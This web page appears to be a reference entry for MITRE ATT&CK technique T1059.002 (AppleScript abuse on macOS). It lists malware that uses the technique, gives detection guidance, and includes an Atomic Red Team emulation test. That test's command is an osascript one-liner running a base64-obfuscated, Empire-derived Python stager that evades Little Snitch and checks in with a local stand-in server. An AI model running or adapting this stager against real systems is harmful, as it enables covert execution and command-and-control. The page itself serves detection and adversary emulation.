tfMITRE ATT&CK sub-technique

AppleScript T1059.002

sub-technique of T1059 Command and Scripting Interpreter

Tactic: Execution
Platform: macOS
Version: 1.3
Created: 09 March 2020
Last modified: 12 May 2026
Contributor: Phil Stokes, SentinelOne

Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.[1] These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groupsNone recorded

Threat groupsNone recorded · 29% of ATT&CK techniques have none either.

CampaignsNone recorded

CampaignsNone recorded · 54% of ATT&CK techniques have none either.

Tools & malware68th pct

Tools & malware68th percentile · 68% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rules74th pct

Detection rules74th percentile · 74% of ATT&CK techniques have this many detection rules written or fewer.

AppleScript MITRE reference T1059.002

68th pctamong all ATT&CK techniques for number of tools

6 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.

GlassWormS9010 ↗

Has utilized AppleScript to include set keychainPassword to do shell script to execute shell command that retrieves passwords from the macOS keychain.1

created 2026-04-10MALWARE

Cuckoo StealerS1153 ↗

Can use osascript to generate a password-stealing prompt, duplicate files and folders, and set environmental variables.1 2

created 2024-08-20MALWARE

macOS.OSAMinerS1048 ↗

Has used osascript to call itself via the do shell script command in the Launch Agent .plist file.1

created 2022-10-04MALWARE

ThiefQuestS0595 ↗

Uses AppleScript's osascript -e command to launch ThiefQuest's persistence via Launch Agent and Launch Daemon. 1

created 2021-03-19MALWARE

BundloreS0482 ↗

Can use AppleScript to inject malicious JavaScript into a browser.1

created 2020-07-01MALWARE

DokS0281 ↗

Uses AppleScript to create a login item for persistence.1

created 2018-10-17MALWARE

All 6 software entries for this technique

Offense vs defense T1059.002

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 0Sigma rules (cumulative) · 9Splunk ESCU (cumulative) · 1

first rule: 2020 Q4

AppleScript detection strategy DET0414

MITRE names one behaviour worth catching for this technique and breaks it into 1 analytic, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detection of AppleScript-Based Execution on macOS

Enterprise

1 platform

AN1164 · macOS

Detects AppleScript execution via 'osascript', NSAppleScript/OSAScript APIs, and abnormal application control events across user sessions. Focuses on causal chains such as osascript spawning child processes, script-induced keystrokes, or API-backed dialog spoofing.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	macos:unifiedlog	process: spawn, exec

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ScriptInvocationParent	Identify rare or suspicious parent processes launching AppleScript (e.g., Safari, Mail, msedge).
TimeWindow	Flag AppleScript execution during user-inactive hours, especially for automation frameworks.
AppleEventActionType	Filter AppleEvent-based automation involving UI interaction, keystrokes, or remote control.
TargetApplicationSet	Scope AppleScript use toward security-sensitive apps (e.g., Terminal, ssh, Keychain Access).
ExecutionPathRegex	Restrict to unusual paths like /tmp/, ~/Library/, or embedded in Automator workflows.

Tests1Executorssh 1Need elevation0 of 1Have prerequisites0Have cleanup0Platformsmacos

#	Test	Platform	Executor	Elevation	Prereqs	Cleanup	Ref
01	AppleScript	macos	sh	—	—	—
Shell Script with AppleScript. The encoded python script will perform an HTTP GET request to 127.0.0.1:80 with a session cookie of "t3VhVOs/DyCcDTFzIKanRxkvk3I=", unless 'Little Snitch' is installed, in which case it will just exit. You can use netcat to listen for the connection and verify execution, e.g. use "nc -l 80" in another terminal window before executing this test and watch for the request. Reference: https://github.com/EmpireProject/Empire Attack command osascript -e "do shell script \"echo \\\"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('aW1wb3J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2Nlc3M7Y21kID0gInBzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbml0Y2ggfCBncmVwIC12IGdyZXAiCnBzID0gc3VicHJvY2Vzcy5Qb3BlbihjbWQsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUpCm91dCA9IHBzLnN0ZG91dC5yZWFkKCkKcHMuc3Rkb3V0LmNsb3NlKCkKaWYgcmUuc2VhcmNoKCJMaXR0bGUgU25pdGNoIiwgb3V0KToKICAgc3lzLmV4aXQoKQppbXBvcnQgdXJsbGliMjsKVUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly8xMjcuMC4wLjE6ODAnO3Q9Jy9sb2dpbi9wcm9jZXNzLnBocCc7cmVxPXVybGxpYjIuUmVxdWVzdChzZXJ2ZXIrdCk7CnJlcS5hZGRfaGVhZGVyKCdVc2VyLUFnZW50JyxVQSk7CnJlcS5hZGRfaGVhZGVyKCdDb29raWUnLCJzZXNzaW9uPXQzVmhWT3MvRHlDY0RURnpJS2FuUnhrdmszST0iKTsKcHJveHkgPSB1cmxsaWIyLlByb3h5SGFuZGxlcigpOwpvID0gdXJsbGliMi5idWlsZF9vcGVuZXIocHJveHkpOwp1cmxsaWIyLmluc3RhbGxfb3BlbmVyKG8pOwphPXVybGxpYjIudXJsb3BlbihyZXEsdGltZW91dD0zKS5yZWFkKCk7Cg=='));\\\" \| python &\"" GUIDf98ebf4b-a9ab-4a71-bcfb-c477c5b60c5b

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

AppleScript

macos

—

Tests from Atomic Red Team (MIT licence) · technique definition

AppleScript detections T1059.002

10 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

74th pctamong all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs